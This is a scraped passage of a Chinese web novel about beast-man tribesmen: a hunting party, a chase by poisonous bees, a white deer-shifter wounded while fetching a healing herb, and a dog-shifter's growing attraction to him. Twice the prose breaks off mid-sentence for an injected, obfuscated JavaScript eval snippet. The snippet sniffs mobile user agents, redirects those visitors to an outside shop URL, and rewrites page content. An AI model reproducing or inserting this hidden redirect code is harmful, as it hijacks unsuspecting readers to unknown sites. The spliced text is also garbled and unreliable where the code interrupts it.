犬白蹲在火堆边,看到陈可随意地接着青时倾倒的水清洗双手,两人之间亲昵的氛围令他双眼闪过一丝暗光。 “想必两位是结成伴侣多年了吧,怎么不见有幼崽?” 听见犬白的问题,陈可抬头看了一眼青时如玉般无瑕的脸旁,双颊泛上些许红晕,当对上那双清凌的眸子时他有些难为情地移开视线。 “不是的,我们前不久才决定结成伴侣。”通过继承的狐可的记忆,陈可早已了解他和鹿青是因为狐可的父亲托孤而在一起的,就在他穿过来的几天前。 “哦——这样啊。”犬白的视线在两人之间来回转悠,最后停在青时身上,“真羡慕鹿青你啊,竟然能和狐可这么漂亮的雌性结为伴侣。” 青时冷冷地瞥了他一眼,没有对他不阴不阳的话作出回应,见陈可洗干净手便转身走去一边,准备将手里的装水的容器放下。 陈可见状连忙打圆场,“不好意思,鹿青他不喜多言。” “没事,我看出来了。”犬白嘴角上扬,神情温和,没有生气的迹象。 陈可甩干净手上的水,来到陶锅边看了下锅里的炖肉,“炖肉可以吃了。” 话音刚落他就看到端着碗从山洞里走出来的青时,随即笑道:“鹿青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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合部落也迎来了今年第一次大狩猎的日子,大狩猎的时候除了被安排巡视部落的雄性兽人外,其余有战斗力的雄性全都要参加狩猎。 他们会分成几个狩猎小队,每个狩猎小队之间会互相较劲比拼谁获得的猎物更多,猎物最多的小队每人都会额外奖励一大块肉。 合部落的此项殊荣一直被首领之子虎猛带领的小队垄断。 “如果能加入虎猛的狩猎队就好了,可惜对我来说是不可能的。”鼠荣望着前排虎猛高大的身形和壮硕的肌肉,满眼羡慕。 犬白站在外围背靠着树,听见鼠荣的话低头疑惑问道:“加入他的队伍是什么要求?” “虎猛的狩猎队成员都是固定的,只要你能打败任意一位队员你就可以取代他的位置。”盘腿坐在树下的马岩插话。 “哎,像我们这种实力弱小的,也就只能在一起凑数了。”鼠荣看着树旁的几人感叹,“不知道我们队长会是谁,希望不要太难伺候。” 35.白鹿3 合部落的巫已经祭完兽神宣布狩猎开始,各个狩猎队陆续前往部落的狩猎场。 但……“我们队长呢,怎么还没来?”鼠荣两眼问号,四处张望着。 小山似的熊林声音沉闷,“应该是有事耽误了吧?” 犬白饶有兴趣地观察着其他狩猎队,余光却忽然捕捉到一抹白色,他定睛望过去,发现原来是给他留下深刻的邻居鹿青。 他看着背后背着奇怪木棍的鹿青四处观察了一番,然后径直朝着他们几人的方向而来。 不会吧,难道他就是…… “嘶——”马岩也注意到朝他们走过来的青时,麻溜地从地上站起身,口中喃喃道:“怎么会是他?” 听出马岩话中的吃惊,犬白挑挑眉,悄声提问:“你认识他,他怎么了?” “他叫鹿青,你刚来部落可能不清楚,他可是我们部落的名人。虽然是雄性兽人,但那张脸吸引的可不仅是雌性,更多的是单身雄性。” “只可惜他的冷淡和美丽一样出名。”马岩摇着头语气颇为遗憾。 他注意到犬白直勾勾望着青时的眼神,上前拍了拍他的肩膀,“兄弟你不会是看上他了吧?那你可别想了,人家前不久已经有伴了。” 犬白只来得及笑笑,青时便已经走到他们面前。 “十队?”青时冷淡的眼神从四人身上一一划过。 “是是是,我们是十队,队长好!”鼠荣对着青时笑成了眯缝眼,语气谄媚。 “嗯,出发吧。”青时点点头,率先转身离开,其他人接连跟上。 说是狩猎场,但其实是部落圈出来的山林范围。 部落距离狩猎场不近,青时他们今晚得在山里过夜。 月色高悬,火光融融。 一只手掌突然在守夜的青时面前摊开,露出掌心褐色的哈哈果。 青时顺着手臂瞧过去,对上犬白那双看上去清澈实际深不见底地双眸,“有事?” 犬白顺势坐到青时身侧,“没事,我只是看队长你晚饭吃得不多,给你送点吃的。” 青时曲着一条腿,背靠大树,双手搭在膝上,冷漠地拒绝:“不用。” 犬白却没有被他的冷淡劝退,侧头笑眯眯地说道:“鹿青你就收下吧,我怕到时候狐可怪我出去一趟把你饿瘦了。” 他最近几天确实和狐可走得很近,经常过来帮忙顺便蹭饭,砍树、翻地什么都干。 青时看不透此人到底想做什么,他也并未从他眼中看出对狐可的爱意,难不成真是为了口吃的? “鹿青?”犬白又唤了声。 为了还耳朵一个清静,青时接过果子放到身侧,顺带瞟了一眼犬白,告诉他安静点。 犬白接收到青时的示意,收回手不再出声,但是视线却依旧停留在青时身上。 这是他这些天来距离鹿青最近的一次。 他心中不由自主升起感叹,就算已经不是第一次见,他还是会不由自主地被这人吸引。 虽然鹿青性格冷淡,但这丝毫不影响别人对他的观感,因为他美丽到光是呆在那儿,便会让人心情愉悦。 灼灼的火光照耀下,犬白的目光久久散落在那张线条优美的侧脸,仿佛是最细腻的玉石雕琢而成,反射着融融暖光。 纤长浓密的睫毛半覆盖在清冷的双眼之上,像停落在玉石上的黑色蝴蝶。 几缕银白的长发投下调皮的影子,为无瑕的白玉画上几笔残缺,破坏了玉的圣洁,平添几分凌乱。 这样一个人,怎么就是雄性呢…… 青时早就察觉到身侧犬白灼热的视线,等了很久也不见人收回,他终于还是没忍住回望过去,“看够了吗?” 犬白扬起唇角,眸光深幽,笑意分明,“队长你这么好看,怎么会看够。” 听见他好似调戏般的话语,青时眉头微动,冷冷地瞥了他一眼,起身上树,在树枝间坐了下来。 犬白抬头仰视居高临下的青时,脑海中回放着刚才那双冷清黑眸的一瞥,眼神里有种风雪俱灭的清寂。 他突然觉得身上导过一阵电流,心脏不受控制地加速跳动。 犬白垂下双眸,深处闪过一丝火热。 第二天天一亮,五人便在青时的带领下继续前进,太阳升到头顶的时候他们进入了狩猎地外围。 休整一番后,他们选了个方向深入山林开始狩猎。 “咻”硕大的野兔毫无防备地倒在地上,头颅被一只长长的羽箭穿透。 青时将箭拔出,身后的鼠荣麻利地上前捡起死兔,手里的藤条上已经绑了一长串野鸡和野兔。 他望着青时手里的弓满眼羡慕,“嚯,队长你这个叫弓箭的武器好厉害啊!” 青时把箭插回腰间,看着毫无动静地山林微微皱眉,“他们三人追踪山林羊怎么去了这么久?” 只到青时腰间的鼠荣摸了摸自己的脑袋,“可能是山林羊群跑得比较远吧。” 他们刚进狩猎地便发现了山林羊的踪迹,于是青时当机立断派了犬白三人前去追踪痕迹,看能否找到它们的栖息地,自己则带着鼠荣边打猎边赶路,为他们队伍上一道保险,万一没找到山林羊群他们也不至于空手而归。 此时距离犬白三人离开已经快有半个太阳日,青时看了眼头顶即将西下的太阳,作出决定:“不能再等了,我们现在就去找他们汇合。” “好的,队长。”青时这个队长都发话了,鼠荣虽然疑惑但也没有异议。 两人循着犬白他们的气息前进,翻过两座山头后终于听到声响,只是传来的声音中充满了惊恐。 出事了! 青时心中一凛,脚下速度加快。 “吼!”随着一声吼叫,一个人率先从茂密的山林里窜了出来,那头爆炸的白毛,不是犬白又是谁,紧接其后的是一头两三米高的黑熊。 青时和一人一熊打了个照面,没等他问发生了什么,就见犬白脸色一变加速朝他冲了过来。 “快跑!”犬白拉上他开始狂奔,青时也来不及多说什么,因为他已经看到了追在黑熊后面一个个拳头大的毒王蜂。 那玩意儿可不是好惹的,被叮上一口不亚于铁锤重击一下,而且它们还有毒性,被围殴是会丧命的。 这几个人究竟是干了啥惹得这么多毒王蜂来追! 几人完全是慌不择路,一通乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340011|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窜。 青时回头看了眼铺天盖地的毒王蜂,心想这样下去不行,这个蜂群已经盯上他们了,他们这样乱跑只会白白消耗体力。 他喊了声前面跑得最快的鼠荣,“鼠荣,快找水,去有水的地方!” 虽然还有其他能隔绝气息摆脱毒王蜂的方法,但现下这个情况已经容不得他们停下做准备了。 变身成灰白老鼠的鼠荣听到青时的喊话,急忙用鼻子嗅起来,脚下一转朝着附近水汽最重的方向跑去。 连续转了几个急弯,眼看毒王蜂群迫在眉睫,青时等人终于看到了山谷中瀑布下的水潭。 随着几声轻重不一的水响,黑云一般的毒王蜂群停留在水潭上方,失去了追踪猎物的气息。 水面下青时等人屏息瞧着头顶漆黑的一片。 毒王蜂群绕着水潭盘旋几圈,没有捕捉到丝毫猎物的气息,终于不甘心地离去。 “咳咳咳……”恢复人身的熊林率先露出水面,“他奶奶的,总算走了。” 鼠荣挣扎着躺倒在岸边,脸色苍白,眼中的恐惧还未彻底消散,“熊林你们怎么惹上毒王蜂了,差点被你害死。”他这种小型兽人一只毒王蜂就能叮死他。 青时和犬白同时从水里出来,闻言青时也向熊林投去了疑惑的目光。 “别提了,都怪我,”熊林一屁股坐到岸上,神色十分懊恼,“我顺着一股香甜的味道在草丛里捡到一块蜂巢,刚尝了一口那些毒王蜂就从林子里钻出来,追着我们跑。” 青时听得嘴角微抽,该说熊林三人是倒霉还是倒霉呢,路边捡块蜂蜜都是毒王蜂的。 估计是谁捣毁了一个毒王蜂巢,撤离途中掉了一块,刚好被熊林捡到,愤怒的毒王蜂群以为他就是罪魁祸首。 青时的目光从狼狈的几人身上一一划过,眉头微皱,“马岩呢,他没跟你们一起吗?” “嗯?他不是一直在我前面吗?”熊林诧异得四处张望,结果发现真得没有马岩的身影,他的脸色霎时变得苍白,“完了,马岩他不会……都怪我!” 青时暂时没有理会欲哭的熊林,而是用询问的眼神看向犬白。 犬白接收到青时的眼神,撸头发的手一顿,脸上露出思索的神色,“毒王蜂出现的时候,马岩跑在我身后,我没怎么注意。” 青时叹了口气,“看样子马岩是和你们跑散了,以防万一我回头沿途去找找看,”说着他看向犬白,“犬白你还记得你们跑过的路线吗?” “记得。”犬白点头。 “好,”青时又望向躺在地上的熊林和鼠荣,“你们就……” “队长,我也跟你一起回去找人,是因为我引来毒王蜂才发生这种事的,我不能放着马岩兄弟不管,死要见人活要见尸!”熊林从地上站起身,满脸坚毅。 鼠荣也爬起来,虽然脸色还是不太好看,但好歹有了点血色,“队长也带上我吧,狩猎我不行,但找人我还是挺在行的。” 他们有这个觉悟,青时也不会拒绝,“行,那就一起吧。” “犬白,带路。” 被叫到的犬白望了眼依旧清凌凌,却多了几分人间温情的队长,打头走向来时路。 36.白鹿4 月亮被黑云笼罩,夜晚的树林也很热闹。 随着一阵悉悉索索的声响一只半人高的灰毛老鼠从林子里窜出来,脑袋跟着鼻子左右探动。 “吱吱吱,我好像闻到马岩的味道了!”鼠荣喊道。 “真的?!太好了!”大块头的熊林以不符合他身形的灵活速度冲到鼠荣这边,“在哪里?” 听到有消息,作为狩猎队长的青时心头的巨石稍稍放松了一些。 鼠荣变回人形,脸上带着忧色,“是马岩的血的味道……” “嗷,马岩兄弟,是我对不起你,呜呜呜……”壮硕的汉子熊林居然哇哇哭了起来。 青时脚下一顿,有些无语,冷喝一声制止道:“够了!别哭了,先找人要紧。” “嗝,对,先,先找人,嗝……”熊林被青时吓到,边打嗝边看向鼠荣。 鼠荣被熊林嗷一嗓子吓了一跳,他打量着熊林的块头有些唏嘘。 看来也不是所有高大的兽人都强,还有这种傻不愣登的。 他吸了吸鼻子带头,“这边。” 鼠荣窜过一丛灌木,停了下来,出现在几人眼前的竟然是一个不规则深坑。 层层叠叠的落叶向下凹陷,突出来这么一个坑,不知是如何形成的。 “马岩在下面?”青时往坑里瞄了眼,不浅,看不见底。 鼠荣点点头,“血的味道就消失在这里。” 青时将背上的弓箭卸下,“你们在上面守着,我下去看看。” 犬白上前拦住他,“队长,还是我下去吧,我力气大。” 青时知道他的意思,要是马岩真在下面以他一个人的力气可能还真搬不上来,毕竟鹿的长处是灵活不是力气。 “好。”于是他没有犹豫便同意了积极的犬白。 犬白得到回应纵身跳进坑里。 没过一会儿,一头两人高的白色狼狗从坑中一跃而出。 将嘴里叼着的人形东西平稳放下后,犬白这才变回人身。 青时几人围拢过去,地上的人果然就是不见了好久的马岩,此时他脸色苍白,双眼紧闭,身上的皮肤有数十个鼓鼓囊囊的凸起,有的破了流出脓血,有些肿到拳头大小。 “马岩兄弟?!”熊林被马岩的惨状吓到,以为他死了,差点又开始嚎啕。 青时赶紧上前去查看情况,只是粗略一打眼他就不由得眉头紧蹙。 犬白蹲到他身边,注意到他严肃的神色,问道:“还有救吗?” 青时深深叹了口气,“也许能救。” 以为人没救了的犬白挑挑眉。 “队长,你可一定要救救马岩啊,拿我这条命换都行!”听见青时说还有救,熊林噗通一声在马岩身体另一边朝着他跪下了。 青时起身躲开他跪的方向,看着几人吩咐道:“马岩身上的蜂毒很严重,只有星月崖的流岩草能救他。” “我去摘流岩草,你们几个看着他,找个干净的地方帮他把身上的蜂刺都挑出来。” 星月崖在距离狩猎地两个太阳日的地方,不过以青时的速度,一切顺利的话不出一个太阳日他就能赶回来。 “现在就去吗?”犬白问道。 “嗯,马岩不能等,晚了就来不及了。”说着青时原地变身兽形。 玉白的鹿角树枝般繁复,纤长的四足踩着草地轻轻一跃就是数米,宛如美丽的森林精灵,乘着风穿梭在树影之间。 犬白瞳孔微缩,他第一次见到这样的兽身,这头白鹿从颈项到脊背都是优雅的弧度。 月光透过黑云落在那道身影上,为其添上一抹朦胧的白纱,神秘、圣洁,不似人间来物。 星月崖,顾名思义,是一道山崖,高而尖耸,站在上面能近距离看到星星和月亮。 这周围没什么大型猛兽,最危险的东西是围绕崖周的沼泽地,里面生活着一群蛇蜥,身长可达一米,牙尖嘴利,肉食性猎手。 不过它们一般生活在沼泽底部,只有在捕猎时才会出来,不惊动的话不会被攻击。 沼泽地很安静,连蛙声都没有,青时觉得有些反常,但他也是第一次晚上来星月崖,不知道这是不是夜晚沼泽地的一般表现。 青时知道一条稍微安全的路线直达星月崖,他一路过去,直到采完流岩草也没出什么意外。 黎明来临之前,月亮已经下落,夜色最浓的时候青时踏上了返程的路。 再次经过沼泽地的时候,青时因为这份寂静心中还是多了几分警醒。 不过直到他快要走出去也没有什么风吹草动,在他看着前面干燥的土地稍稍放下心时,意外发生了。 感受到脚下气流的变动,青时猛的变换兽身一跃而起,明明他的动作已经足够快了,但是沼泽地弹出的黑影更快。 青时落到干燥的地面,变回人形拉弓上箭,面朝沼泽。 后腿传来阵阵刺痛,温热的液体从小腿肚滑落到脚跟。 他眼都不眨地盯着身前沼泽地里露出的椭圆形蛇头一样的东西,它微微张着嘴,露出其中上百颗尖锐的牙齿,前端的齿边还挂着鲜红的血液。 一头尝到了自己血腥味的蛇蜥。青时看到了它眼中的势在必得,知道如果此时的自己转身的话必然会成为它的口中之食。 而这头蛇蜥似乎也从青时身上感受到了威胁,不敢轻易靠近。 一人一兽就这样大眼瞪小眼僵持下来。 第一缕天光穿破黑暗照射下来时,耐不住性子的蛇蜥率先发动了攻击,它长长的脖子唰一下朝着青时冲过来。 青时瞄准它的右眼射出蓄势待发的一箭,接着向旁边翻滚躲开蛇蜥的攻击。 “砰”一声,蛇蜥岩石一样的脑袋磕在地上,发出巨响,顾不得腿上因为拉扯加重的伤势,青时重新拉起弓箭,瞄准这头露出全身的大家伙。 它的身形竟然已经达到两米,青时第一次见这般长度的蛇蜥,它应该是蛇蜥群中王者一般的存在。 骨箭被蛇蜥的眼皮挡了下,没刺进去,不过也划伤了它的眼角,疼痛让它意识到青时手中之物的厉害,它缓缓移动,竟然缩回了沼泽之中,只露出一双眼睛。 青时望着沼泽,不敢大意,手上的箭弦绷紧,脚下缓步后撤。 在远离沼泽有一定距离,确定蛇蜥没追上来之后,他才如释重负地松了口气。 这一放松,腿上的疼痛席卷而来,青时看向自己的左腿肚,那里有一排见骨的牙痕,是划伤,鲜血染红了整个后腿。 浓烈的血腥味萦绕在鼻尖,青时不敢在此地多做停留,草草处理了一下伤口,便开始返程。 太阳升到半空的时候,青时用最后一支骨箭赶走了袭击的獠牙兽,一种形似野猪的肉食野兽。 他背靠树干微微喘着气,腿上伤口的影响远比他以为的大,如果没受伤他距离狩猎地应该只有半个太阳日的距离了,现在却连原本的一半都没走到。 稍稍歇息片刻,青时瞟了眼因为刚才剧烈活动再次出血的伤口,变身成白鹿,他现在没时间去处理伤口,如果太阳下山之前他没赶回去,马岩就没救了。 清甜的血液味道吸引了前赴后继的猎食者,青时凭借着速度甩开了大部分敌人,但有些狡猾的猎手可不是轻易能摆脱的。 奔跑中的白鹿猛的停住,在原地焦灼地踏着蹄子,一只只半米高的野狼从树丛里钻出,将受伤的白鹿团团围住。 青时缓缓转身,看向身后那头一米高的灰狼,它是这支狼队的狼王,也是青时一直没甩掉的捕猎者。 它蜡黄的兽瞳中闪烁着嗜血的光芒,粘稠的涎液从嘴角滴落,青时浑身发寒,他知道他现在不可能从狼群的重重包围中冲出去,他唯一的选择只能是迎战。 如果他能打败这只狼王,那他还有生还的希望,不然等待他的就只能是成为这群野兽的盘中之餐。 “嗷呜!”狼王低吼一声,朝着孤立无援的白鹿冲过来。 一次交锋,青时的脊背多了一道抓痕,而狼王的侧脸也多出一条伤痕,是锋利鹿角的战利品,差一点就会刺穿它的眼球。 狼王意识到此次猎物的不同寻常,它改变战术不再硬拼,而是打游击一样围着青时转圈,时不时偷袭一下。 虽然青时每次都能躲过,但他心中还是不免一坠,因为以他现在的伤势,拖得越久对他越不利,失血带来的眩晕让他眼前发黑。 青时不得不采取进攻措施,他率先发动攻击,在狼王的脸上再次留下痕迹,却也被它抓住破绽一抓拍飞出去。 受伤的白鹿猛地撞上树干,滑落到树下,青时维持不住兽形变回人身,他趴在地上撑着手臂想站起来,却因为脊背的疼痛又摔回去。 狼王缓步靠近,腥臭的口气扑面而来,青时绝望地闭上双眼。 身边突然扬起一阵风,随着一声巨响耳边传来痛苦的嚎叫,青时缓缓睁开眼睛,一只两米高的白色生物挡在他身前,青时认出来人,是犬白。 青时看不到前方犬白和狼王的对峙,只看到犬白压低身形做出攻击姿态,喉间发出一声低吼之后,围着他们的狼群便溃散开。 “鹿青,你没事吧?”犬白变回人身,伸手来扶青时。 青时看了眼他伸出的手,没有拒绝,借着他的力坐起身。 他从腰间箭囊中掏出一棵叶片似剑,顶端开着白花的植物,递到犬白面前,“你来的正好,这是流岩草,你赶紧带去给马岩。” 犬白看着青时身上的伤,皱起眉头,没有伸手接过,“我走了,你怎么办,要是再来个狼群,可没人能救你了。” 青时摇摇头,“我会自己处理的,没什么大事。” 犬白盯着青时额角的汗滴咬了咬侧牙,直接将这头倔强的白鹿抱起来,“还是一起回去吧。” “?”这奇怪的公主抱姿势让青时怔了一下,旋即他眉宇紧蹙,“放我下去。” “哼,再啰嗦下去可救不了马岩了!”犬白喉间滚出一声轻哼,“放心,就算带着你,我们也会准时回去的。” 闻言青时张了张嘴,终究是没再多话。 犬白眼瞳微垂,将怀里的人往上提了提,“抱住我的 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青时疲惫地点点头,“对,流岩草是蜂毒的克星,什么时候醒就看他的身体素质了。” “太好了!”熊林感动地落泪,“还好有队长你在。” 鼠荣也感叹道:“队长你可真厉害,连巫的医术都会。” 失血过多让青时有些失温,他靠坐到犬白身上,没有多余的力气去回应。 歇一会儿再处理身上的伤吧,青时这般想着,下一秒他却又被人抱了起来,他抬头对上犬白的刀削般的下颌,疑惑喊了声:“犬白?” “嗯。”身侧接触的胸膛微微震动,“我带队长去处理一下伤口。” 鼠荣:“好,你快去吧,马岩这边有我们看着就行。” 犬白带着青时找到一条清澈的小溪,他走进溪水将人放下,满溢的溪水将将没过脚踝。 冰冷的水流带来刺激,青时稍稍恢复了些许力气,他坐在水中借着流动的溪水开始清洗腿上的伤口。 失去血污覆盖的伤口十分狰狞,因为受伤后过度活动,多次撕裂,青时估计腿上这伤最少也需要五六天才能完全好。 这还完全得益于兽人强悍的体质,要是换任何一个普通人,受了这种程度的伤在这什么医疗设备都没有的原始时代,只能等死。 犬白站在青时身后,看着他毫不设防的柔嫩的后颈,只觉犬牙发痒,想咬点什么,强忍下这股不知缘由的冲动,他上前拨开青时背部的发丝,露出潜藏脊背的三道抓痕。 暗红的血色蔓延在雪白的脊背,宛如红色的泼墨挥洒宣纸,狰狞的伤痕为这幅绝美的画更加增添了几分残缺的意味。 犬白盯着伤痕,喉头不由得上下滚动。 青时因为背部的痒意回头,他发现犬白抚开发丝的动作,问道:“你要做什么?” 听到青时的问题,犬白转眼对上他的视线,咧了咧嘴,上唇边两颗虎牙十分抢眼,“我帮队长你清洗一下背上的伤口吧,你自己不太方便处理。” 青时沉吟了一会儿,没有说话,只是扭头一手将后背的头发顺到身前,用行动表示自己的决定。 没有想到一向冷傲的白鹿竟然没有拒绝,犬白看见他的动作先是一愣,随后眯起双眼舔了舔唇角,蹲下身双手捧起清水浇到雪白的脊背上。 透明的水液在肌肤上四散,划过伤口染上血色,又向下,斑驳的痕迹沾染劲瘦的腰,再没入溪流,不见踪影。 犬白兴奋地鼻子抽动,清水冲走了污血,但新鲜的血液还在不停渗出,他缓缓凑过去,鼻尖盈满了清甜的血味。 他以前一直觉得血液是腥臭的,直到此刻,他的想法改变了,怎么会有这么好闻的味道。犬白没有发现自己的眼睛已经转变成了兽形的竖瞳。 灼热的气流喷洒到敏感的伤口上,脊背的肌肉不由自主的颤动,眉毛微微皱起,青时疑惑张口:“犬白,你……”想干什么? 犬白完全兽化的眼瞳直勾勾盯着渗血的伤痕,听到青时的声音,他勾起嘴角舌尖舔过下唇,“队长,这背上的伤,我帮你舔舔?这样好得更快。” 兽人的唾液确实可以加速伤口愈合,但,一个雄性帮另一个雄性舔伤口怎么看都不合适吧? “不用。”青时从水里站起身,面向犬白,垂眸望着他,“我那里有巫给的止血药。” “好吧。”不知是不是错觉,青时好像从犬白眼中看到了闪过的失望。 上岸后,两人回到熊林他们找的驻扎地,此时他们已经升起了火堆,躺倒的马岩虽然还没醒,但面色看上去好了很多。 青时从树藤编织的小巧箭囊中取出临出发前部落巫交给每位狩猎队长的止血药,涂到自己腿上,处理完腿伤他手里的药膏被犬白夺走,不容置疑的指尖带着湿黏的药膏接触到脊背。 细密纤长的睫毛盖住了深黑的双眸,青时看不见犬白眼底的神色,但背上的触感是那样轻柔,他最终还是没有拒绝犬白的帮助,毕竟都一起下过水,也不差这一下了。 37.白鹿5 木材在火焰中发出噼里啪啦的响声,青时坐在火焰边,很困,但身体里传出的寒意让他没办法远离火堆,是失血过多带来的后遗症。 他曲着膝,头枕在膝盖上,眯着眼昏昏欲睡。 温热的手掌触及肩膀,振翅欲飞的睫毛颤动,视野捕捉到犬白关切的眼神,青时喉间滚出呢喃:“怎么了?” “鹿青,你身上好冷。”感受到手掌下肌肤的温度,犬白额间颦蹙。 “嗯。”青时模糊地应了声,他实在太困,没有多余的力气,受伤的兽人需要睡眠来恢复伤口。 只是身后怎么有东西这么暖和,还那么柔软,青时侧过头,微睁的双眼对上突出的鼻部,黑色的鼻头点缀在纯白的毛发中异常显眼。 “犬白?” 纯白的狼狗用湿润的鼻尖蹭了蹭青时的肩膀,侧身露出柔软的肚皮,“来。” 饱受寒冷欺负的青时脑子无法转动,一点没多想,听话的躺进蓬松的毛发,接触到狼狗灼热的体温,他不由得发出一声喟叹。 好舒服。 变化兽身的犬白侧躺着,用四肢将躺在自己肚皮上的小鹿圈住,如同守护财宝的巨龙。 欣赏了好一会儿青时恬静的睡颜,犬白才把头放下,阖上双眼。 青时醒来的时候天光大亮,火堆早已熄灭,马岩靠着不远处的一颗树坐着,似乎已经清醒,只是…… 他环顾四周,其他人呢,怎么除了马岩都不见了踪影? “队长,你醒了。”马岩注意到青时的清醒,憨厚的脸上满是感激,“多亏了队长你,不然我可能就醒不过来了,不愧是被称为魔鬼的毒王蜂,差点让我去见兽神。” 青时摇头示意没什么,“其他人呢,怎么都不在?” “嗷,他们啊,犬白说他昨天发现了一处红滩羊的栖息地,今天一早他们就出发去狩猎了。”马岩解释。 得知人员去向,青时没再多问。 没过多久,随着风带来腥臊的血腥味,一头巨大的狼狗和黑熊朝青时他们这边过来。 一犬一熊嘴里咬着手臂粗的树藤,近了,青时看到树藤上挂着一只只白色的羊,它们的头顶有一撮红色的软毛,因此得名红滩羊。 粗略数过,他们大概带回了十数只红滩羊,还都是成年体。 大丰收。 犬白将嘴里的树藤丢下,恢复人身,边走边说来到青时身边,“醒了,怎么样,伤口还痛吗?” 青时脑海里突然蹦出昨晚的回忆,他似乎趴在某人身上睡了一整晚…… 耳朵忽然有些热,青时尴尬地垂下眼帘,不敢和他对视,“没事了。” “哼,”一声短促的冷哼,披撒在背后的头发被一只手握住,“什么样你都说没事,给我看看。” 脊背上的伤没有腿上严重,此时已愈合了大部分,犬白放下头发,呼了口气,“背上好得差不多了。” 远处的马岩看着两人的互动,神色意外,不会真给犬白这家伙挖到墙角了吧? “吱吱,狩猎大成功!”鼠荣从林子里钻出来,满脸笑意,手里拖着一只比他还大一倍的成年红滩羊。 青时被他的笑意传染,心情放松下来,环视一圈,说:“这些猎物已经够多了,我们今天就启程回部落。” “好唉!回去让那些瞧不起我的家伙们开开眼,哈哈哈。”鼠荣跳着原地转了一圈。 熊林摸了摸脑袋,走到马岩身前,“马岩兄弟,你好些没,回去路上我背你吧。” 虽然知道熊林是因为愧疚,但马岩还是吃了一惊,毕竟雄性兽人的背从来都只有伴侣能坐的。 他连忙摇头,“不,不用了,我能走的。”他可对这大块头没意思,还是香软的雌性或者,马岩的眼角瞟向站起身的青时,或者鹿青这样美丽的雄性更合他的心意。 “行。”憨厚的熊林听马岩说自己没事,傻笑起来,“路上你要是不舒服可以随时喊我。” 注意到熊林和马岩之间的对话,犬白眼珠一转,凑到青时跟前,“队长,你腿伤没好,要不骑我回去呗。” 青时身形一顿,不带感情地瞥了一眼咧着嘴的犬白,这人不知道是真傻还是装傻,雄性兽人的背是谁都能坐的吗? “有这力气,猎物都归你带回。”说完青时化身白鹿率先上路,虽然伤了一条后腿,但鹿的速度依旧名列前茅。 望着远去的鹿影,犬白眉眼下压,露出与外表不符的凶性。 早知道就不这么早去狩猎红滩羊了,部落有什么好的,这么急着回去,哼,没良心的鹿! 犬白叼树藤的动作停了一下,这两天他乐不思蜀,好像忘了那只漂亮的鹿是有主的。 带着大串红滩羊回归的青时他们,一进部落就受到了热烈欢迎,尤其是叼着猎物的犬白和熊林,吸引了不少雌性的目光。 毕竟兽人大陆实力为尊,能狩猎到这么多猎物的兽人,实力肯定不弱。 狩猎队带回的猎物大部分要上交部落,青时从巫手中接过自己应得的一只红滩羊,准备拖回去。 马岩将自己的那只羊带到青时面前,“队长,谢谢你救了我,我这只羊也给你吧!”说完不等青时反应,丢下羊就跑。 青时话到嘴边被噎了下去,他看着地上的羊薄唇轻抿,这么多肉他和陈可得吃到什么时候去。 犬白轻松地提起自己的羊,两步追上青时,又捡起他的两只羊,甩到肩上。 “我力气大,帮你一起带回去。” “……”两颗显眼的虎牙露在唇外,青时的目光从那两颗牙尖尖上划过,薄唇微启,“随你。” 走到居住的山洞外,一眼就看到了忙碌的陈可,洞前平地的杂草全被他清理干净,露出黝黑的土地。 右边一小块整齐的栽种着两排萝卜苗,绿油油的,一看就活的很好,这位穿越人士是有点种田基因在身上的。 “鹿青,犬白,你们回来啦!”陈可站在自己的菜园里朝两人挥手。 走近些,他看到了青时腿上的伤,吓了一跳,“这是怎么搞的,痛不痛还?” 青时眉目缓和,“我没事。” 陈可丢下手里的简易锄头,抓住青时的手臂,“这么长条口子,还说没事!快,我扶你去坐下。” “好。”青时顺从跟着他走了。 身后犬白看着两人和和美美的背影差点咬碎一口好牙,他滴溜着三头羊,故意加重脚步,想以此引起前面两人的注意,结果没一个人理他,给他气了个倒仰。 等到陈可扶着青时在洞前坐下,一转身被直愣愣站在后头背着三头羊的犬白吓了一跳,“哎呦,犬白你还在啊。” 犬白磨了磨牙,将手里的羊放下,“这是鹿青的猎物,我帮他拿的。” “谢谢你。”陈可微笑道谢,他看了看地上的羊,“这么多?” “是啊,”犬白的余光注意到青时正看着这边,扬眉挑衅,“鹿青他受了伤,我帮你一起处理了吧。” 平常的语气,听在青时耳中却有些欠揍,说得好像他伤了腿人就废了一样。 “那麻烦你了,晚上请你一起吃饭。”陈可高兴道。 “行,包在我身上。”犬白露出两排大白牙,眉眼弯弯,俯身抓羊的时候,手臂肩背肌肉隆起。 像只开屏的孔雀,向心仪的对象展示自己的优异。 晚餐陈可做了羊汤和烤肉,他最近找到了葱姜和野蒜,食物的味道更上一层楼。 喝一口羊汤,陈可感叹道:“要是有胡椒就好了,羊肉汤就应该配胡椒的。” “胡椒?那是什么?”犬白好奇地问。 陈可解释:“一种调味品,会有些呛鼻,口感辣辣的,可以让羊汤味道更好。”可惜他没有在部落周围发现有。 青时听出了他的言外之意,目光闪了闪,开口:“几天后部落举行交易日,到时候会有其他部落的人来,可以去看看。” “这样吗?那可得去看看。”陈可兴奋道。 * 交易日。 合部落将交易地点设在了山脚,那里有一块大的空地。 太阳刚冒头,空地上已经出现了许多铺着兽皮的‘摊位’,摆放着稀奇古怪的商品。 简陋的集市,但不妨碍它的热火朝天。 甚至有无聊的雄性开了个角斗摊子,合理打架。 “你叫犬白?”高挑的雌性拦住犬白的去路。 眼前的雌性头顶一对黄黑相间的豹耳,身姿挺拔,神情高傲,看犬白的眼神似乎觉得他和他说话,是犬白的荣幸。 